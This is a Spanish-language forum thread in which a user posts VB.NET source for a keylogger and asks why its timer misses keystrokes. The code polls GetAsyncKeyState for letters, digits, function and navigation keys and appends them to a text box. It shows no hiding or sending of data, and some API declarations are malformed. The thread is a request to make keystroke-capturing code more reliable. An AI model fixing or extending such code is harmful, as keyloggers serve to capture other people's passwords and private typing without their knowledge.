problema codigo keylogger

Cita de: Keyen Night en 26 Octubre 2011, 05:23
Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.
gracias keyen night
ya lo he probado y al parecer funciona excepto por que tengo un problema con el timer: no me graba todas las teclas que presiono solo alguna de vez en cuando
he probado con el timer Enable = True y false e intervalo en 1 y 100
pero nada de nada. Coloco el codigo aver si me podeis ayudar
gracias.
Código
 
Imports System.Runtime.InteropServices
-----------------------------------------------------------------
Public Class Form1
 
 Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
  Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
    Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
    Private ChangeChr(255) As String
---------------------------------------------------------------------
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'Letras
        Dim i As Integer
        For i = Asc("A") To Asc("Z")
            If GetAsyncKeyState(i) = -32767 Then
                If GetAsyncKeyState(VK_SHIFT) > 0 Then
                    If GetKeyState(VK_CAPITAL) > 0 Then
                        RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                        Exit Sub
                    Else
                        RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                        Exit Sub
                    End If
                Else
                    If GetKeyState(VK_CAPITAL) > 0 Then
                        RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                        Exit Sub
                    Else
                        RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                        Exit Sub
                    End If
                End If
            End If
        Next
        'Numeros
        For i = 48 To 57
            If GetAsyncKeyState(i) = -32767 Then
                If GetAsyncKeyState(VK_SHIFT) < 0 Then
                    RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
                    Exit Sub
                Else
                    RichTextBox1.Text = RichTextBox1.Text & Chr(i)
                    Exit Sub
                End If
            End If
        Next
        'Espacio
        If GetAsyncKeyState(32) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text + " "
        End If
        'Enter
        If GetAsyncKeyState(13) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
        End If
        'Esc
        If GetAsyncKeyState(27) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
        End If
        'Izquierda
        If GetAsyncKeyState(37) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
        End If
        'Arriba
        If GetAsyncKeyState(38) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
        End If
        'Derecha
        If GetAsyncKeyState(39) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Der] "
        End If
        'Abajo
        If GetAsyncKeyState(40) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
        End If
        'Print Screen
        If GetAsyncKeyState(44) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
        End If
        'Re Pag
        If GetAsyncKeyState(33) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
        End If
        'Av Pag
        If GetAsyncKeyState(34) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
        End If
        'Fin Pag
        If GetAsyncKeyState(35) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
        End If
        'Inicio Pag
        If GetAsyncKeyState(36) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
        End If
        'Supr
        If GetAsyncKeyState(46) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
        End If
        'Insert
        If GetAsyncKeyState(45) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
        End If
        'F1
        If GetAsyncKeyState(112) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F1] "
        End If
        'F2
        If GetAsyncKeyState(113) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F2] "
        End If
        'F3
        If GetAsyncKeyState(114) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F3] "
        End If
        'F4
        If GetAsyncKeyState(115) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F4] "
        End If
        'F5
        If GetAsyncKeyState(116) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F5] "
        End If
        'F6
        If GetAsyncKeyState(117) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F6] "
        End If
        'F7
        If GetAsyncKeyState(118) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F7] "
        End If
        'F8
        If GetAsyncKeyState(119) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F8] "
        End If
        'F9
        If GetAsyncKeyState(120) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F9] "
        End If
        'F10
        If GetAsyncKeyState(121) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F10] "
        End If
        'F11
        If GetAsyncKeyState(122) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F11] "
        End If
        'F12
        If GetAsyncKeyState(123) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [F12] "
        End If
        'Alt
        If GetAsyncKeyState(164) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
        End If
        'Num Lock
        If GetAsyncKeyState(144) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
        End If
        'Bloq mayús
        If GetAsyncKeyState(20) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
        End If
        'ñ
        If GetAsyncKeyState(164) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & "ñ"
        End If
        'Ñ
        If GetAsyncKeyState(240) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & "Ñ"
        End If
        '"."
        If GetAsyncKeyState(190) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & "."
        End If
        '","
        If GetAsyncKeyState(188) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & ","
        End If
        '"Alt Gr"
        If GetAsyncKeyState(165) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
        End If
        '"Del"
        If GetAsyncKeyState(8) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Del] "
        End If
        '"Tab"
        If GetAsyncKeyState(9) = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
        End If
    End Sub